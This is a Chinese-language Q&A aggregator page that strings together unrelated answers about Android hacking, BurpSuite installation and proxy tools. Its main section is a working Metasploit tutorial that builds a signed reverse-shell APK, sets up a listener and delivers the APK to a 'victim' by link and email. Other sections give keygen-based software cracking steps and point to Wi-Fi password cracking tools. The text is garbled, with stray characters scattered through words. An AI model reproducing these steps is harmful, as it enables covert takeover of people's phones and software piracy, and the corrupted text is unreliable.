⑴ 如何使用Metasploit對安卓手機進行控制
創建負載
我們需要兩台虛擬機：Kali Linux和安卓模擬器。
打開vm啟動Kali linux。接著打開終端，使用msfvenom製作android利用程序。
Msfvenom是msfpayload和msfencode的組合。它是一個單一的工具。它有標準的命令行選項。 Msfvenom用來製造的有效載荷用來滲透Android模擬器。
一如御凳旦打開終端提示符下輸入以下命令，使用msfvenom工具來創建有效載荷APK文件。
```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R > /root/Desktop/pentest.apk
```
p 設置要使用的payload
LHOST 設置用來接收反彈連接的主機
LPORT 設置用來接收反彈連接的埠
R 設置文件格式
Location 要保存的文件位置
這個命令執行完之後，你會看到一些錯誤，但不用擔心。現在可以到輸出目錄查看生成的apk了。
我們已經成功創建了Android格式（APK）文件的有效載荷。現在一般Android的移動設備不允許安裝沒有適當簽名證書的應用程序。 Android設備只安裝帶有簽署文件的APK。
我們可以使用如下工具進行手動簽名：
l Keytool (已安裝)
l jar signer (已安裝)
l zipalign (需要安裝)
執行下列命令簽名。首先使用密鑰工具創建密鑰庫。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
`
然後使用JARsigner簽名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner驗證簽名
jarsigner -verify -verbose -certs APPNAME.apk
`
Kali沒有預裝Zipalign，需要先apt-get install zipalign。然後用zipalign來驗證apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
現在我們有了一個帶有簽名的APK，它可以安裝在任何設備上。
使用Metasploit進行測試
接下來啟動metasploit的監聽器。執行msfconsole打開控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是時候將惡意的APK發送到手機上。我們這里使用一渣旅個網盤上傳我們的APK，並將下載鏈拆攜接分享出去。
這是我們切換到安卓模擬器。
1、從https://code.google.com/archive/p/android-x86/downloads下載android x86的iso。
2、使用vmware創建一個內核版本為2.6的虛擬機。
3、掛載鏡像，啟動虛擬機。
4、進入Live模式。
5、設置手機並登陸谷歌帳號。
在安卓模擬器裡面點擊那個鏈接並下載。我們已經發送了一封郵件到受害者的谷歌帳號上。
另外要允許安卓安裝來歷不明的apk。
切換回Kali，我們發現創建了一個新的會話。
然後你就可以為所欲為的操作這台「手機」了。
⑵ 安卓手機瀏覽器資源嗅探器插件怎麼下載
1、使用qq瀏覽器。
2、打開需要下載的資源。
3、點擊右扒讓緩上角的工具箱圖標。
4、打開資源嗅探點擊下載即可春模。
5、下載完成後會有提示，回到瀏滑讓覽器首頁，點擊文件即可。
⑶ 手機如何安裝bursuit
手機如何安裝bursuit？BurpSuite是用於攻擊web應用程序的集成平台，主要用於做安全性滲透性測試。下面小編來詳細說明BurpSuite的安裝步驟
工具原料JDK安裝包、BurpSuite安裝包
安裝JDK分步閱讀
1
/2
因為BurpSuite需要在Java環境下運行，所以安裝BurpSuite之前需要配置好Java環境。直接網路搜索jdk，到官網下載JDK包。小編下載的是jdk1.8 64位的版本
2
/2
雙擊打開JDK包，一直下一步即可。安裝完成後，配置環境變數。
新增環境變數，命名為「JAVA_HOME」,變數值填寫java安裝路徑，如：D:\Program Files\Java\jdk1.8.0_144
新增環境變數，命名為「CLASSPATH」,變數值填寫：%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar
在Path變數的變數值中加上： ;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin
Java環境配置神如完成
安裝BurpSuite
1
/3
網路下載BurpSuite壓縮包，解壓後會看到兩個文件，一個安裝文件，一個破解密鑰
2
/3
首先游銷啟，雙擊打開burp-loader-keygen.jar文件，復制Lisence中的內容，然後點擊「Run」，出現彈框2，繼續點擊「I Accept」斗仿後，將Lisence中的內容粘貼到編輯框中，然後點擊「Next」
3
/3
點擊「Manual activation」，復制彈框2中的第二欄內容，回到彈框1，粘貼到第二欄處；接著，復制出現的第三欄的內容，將其粘貼到彈框2的第三欄，完成。
⑷ 如何利用wifi區域網滲透安卓手機
你要明猜手白所謂wifi就是無線網路技術，wifi的密碼破解其實就是蹭網的過程，也是要蹭網卡（必須蹭網軟體支攜滲持的無線網卡）用蹭網軟體進行抓包破譯人家無線網路的密碼，蹭網軟體常用的幾種如bt3，bt4，beini（奶辯兆脊瓶）
⑸ 手機黑客軟體怎麼現在真正的
您的位置：首頁 > 電腦網路 > 手機教程 > 正文
手機黑客軟體的簡單介紹
1、zANTI是一款來自Zimperium的知名Android黑客套件此軟體套件當中包含多種工具，且廣泛適用於各類滲透測試場景這套移動滲透測試工具包允許安全研究人員輕松對網路環境加以掃描此工具包還允許IT管理員模擬出一套先進黑客環境，並。
2、用dSploit把，區域網滲透軟體手機上用的 安裝教程 使用教程6279html。
3、現在無線網加密都很安全了，如果是小白破解起來還是很有難度的，如果是高手可以去下載kali linux系統，這個系統集成了很多測試工具，可以用裡面的工具來掃描無線網路測試它的漏洞再攻擊它破解密碼不過你可以試試用安卓手機的。
4、如果手機被監控遠程式控制制，建議您嘗試操作1卸載手機近期安裝的第三方軟體2備份手機數據電話簿簡訊息多媒體文件等，恢復出廠設置進入手機設定重置恢復出廠設定後嘗試3若通過以上方法問題依然存在，請帶。
5、應用寶上還有其他的好玩的手機游戲，可以通過分類進行查找 通過應用寶還可以下載到最新最流行的手機游戲安裝包 游戲黑客少年駭客之銀河之聲少年駭客變身男孩等lz可以玩一下 都是熱度很高的手機游戲軟體，玩家很多的哦 畫面。
6、他表示，這種情況在明年的CanSecWest安全會議上將會得到改變 密歇根大學研究生喬恩·奧伯海德表示，與桌面系統相比，手機軟體是個「新面孔」黑客尚未對手機下手的真正原因是，手機不適合發送垃圾郵件和發動拒絕服務攻擊，但可以成為。
7、如果對其中一台電腦上已登錄的微博實施「劫持」，其手機上的黑客軟體管理界面，就立即自動生成一個微博網址，只需點擊，無需賬號密碼，手機就自動登錄到了網頁版微博個人賬戶，並且可以自由發布和刪改個人信息防止路由器被。
8、WIFI萬能鑰匙，採納哦。
9、與其餘軟體相比，以下幾點是用戶比較專注的點 不僅可以在電腦前，通過 PC 客戶端或 網頁使用遠程式控制制功能還可以在手機上下載AirMirror ，手機直接控制另一台 Android 設備可以對任何搭載了 Android 系統的手機和平板實現完全。
10、難說如果黑客師因為你手機上後裝的軟體入侵的話，那麼你恢復後就有用如果是通過手機系統軟體返枯漏洞入侵的話，恢復就沒用黑客入侵的主要是電腦，入侵的主要方式是病毒通過病毒，這種程序竊取你的信息個人資料。
11、不會，因為蘋果手機它自帶有一個安全系統，一般的黑客軟體是很難入侵的，跟安卓不一樣，而且你每一款的軟體它還內置的一個驗證碼，所以蘋果的安全系統是挺高的除非是專業級的黑客，其他的黑客軟體是不用擔心。
12、根據您的描述，若手機被監控遠程式控制制，建議您1卸載手機近期安裝的第三方軟體2備份手機數據電話簿簡訊息多媒體文件漏敏洞等，恢復出廠設置進入手機設定重置恢復出廠設定後嘗試3若通過以上方法問題依然存在。
13、可以的，放心去用吧。
14、不能黑客密碼是目前保護系統安全的主要方法之一，因此，通過精測竊取等方式獲取合法用戶的賬號和密碼已經成為網路攻擊的一個主要手段特洛伊木馬攻擊是將惡意功能程序偽裝隱藏在另一合法程序中，吸引用戶執行並且做出惡意。
15、軟體的話有web前端開發寫代碼的軟體有這些WebstormVscodeSublime Text，HBuilderDreamweavernotepad++editplus等。
16、視頻軟體都有吧，可以去應用寶里看看 他是一個手機商城，搜索關鍵找找 他是騰訊公司旗下的，佔用手機內存拿察小 沒有病毒和一些亂七八糟的廣告 可以清理手機，管理文件，手機備份等 希望我的回答你能採納啦。
⑹ 使用msf滲透安卓系統
滲透機：kali2017.3
靶機：安卓手機一部
首先櫻行我們需要生成一個安卓木馬
至於木馬的免殺暫且不談。
然後打開msfconsole
然後執行
獲取一個安卓手機的session，我們可以獲取姿世當前通話記錄，聊天簡訊等信息
下面是我從網上找的一些參數跡頌肢的釋義。
剩下的就自個慢慢玩吧，我就先撤了。。。。。。。
⑺ Andrax搭建Android手機的滲透測試平台
一、Android Root環境部署Andrax
andrax是一款專為Android手機散侍設計桐掘禪的滲透測局塵試平台，而kali linux的NetHunter只是一款Debian模擬運行工具。
andrax比nethunter只強不弱
https://andrax.thecrackertechnology.com/
https://andrax.thecrackertechnology.com/download/
andraxv5b4.apk
https://gitee.com/marplutox/ANDRAX-Mobile-Pentest
完整使用方法，如下所示:
https://mp.weixin.qq.com/s/pXJZ6KkDtBYQMhP9B7ocMw
⑻ shadowrock安卓能用嗎
不能。
Shadowrocket小火箭這款上網工具只支持在蘋果的手機（iPhone）和平板電腦（iPad）上安裝並使用。是一個專用套件，shadowrocket是察緩第三方開發的完全適配支持SS的適用於ios9以上的一個app。
Shadowrocket是一款基於規則的網路調試工具，具有性能高和穩定好、使用流暢，敗塌模功能多樣的特點，只佔用最少的系統資源，全衫橡盤接管所有的連接，根據規則來進行處理，讓你無憂無慮。獨有的場景模式，方便根據不同需求自動切換配置及節點。
⑼ GreenHub綠牆有手機版本的嗎
沒有。GreenHub綠牆是一個網路出海工具，也就是一個電改氏毀腦插件，主要有翻越網關，工作研究，Google學術搜索，Facebook資料查找等作用，核備其是電腦上的專屬插件，沒有手機版，只能在電腦上下載使用。核鉛
⑽ sstap有手機版哪裡下載
應用商店下載。打開手機應用商店，搜索sstap,點擊下載爛型帆,再安裝即可。SSTap 全稱 SOCKSTap 是一款利用虛擬網卡技術在網路層飢雹實現的代理工具。該軟體是一款租遲利用虛擬網卡技術在網路層實現的DaiLi工具，並能在網路層攔截所有連接並轉發給HTTP、SOCK...SSTap。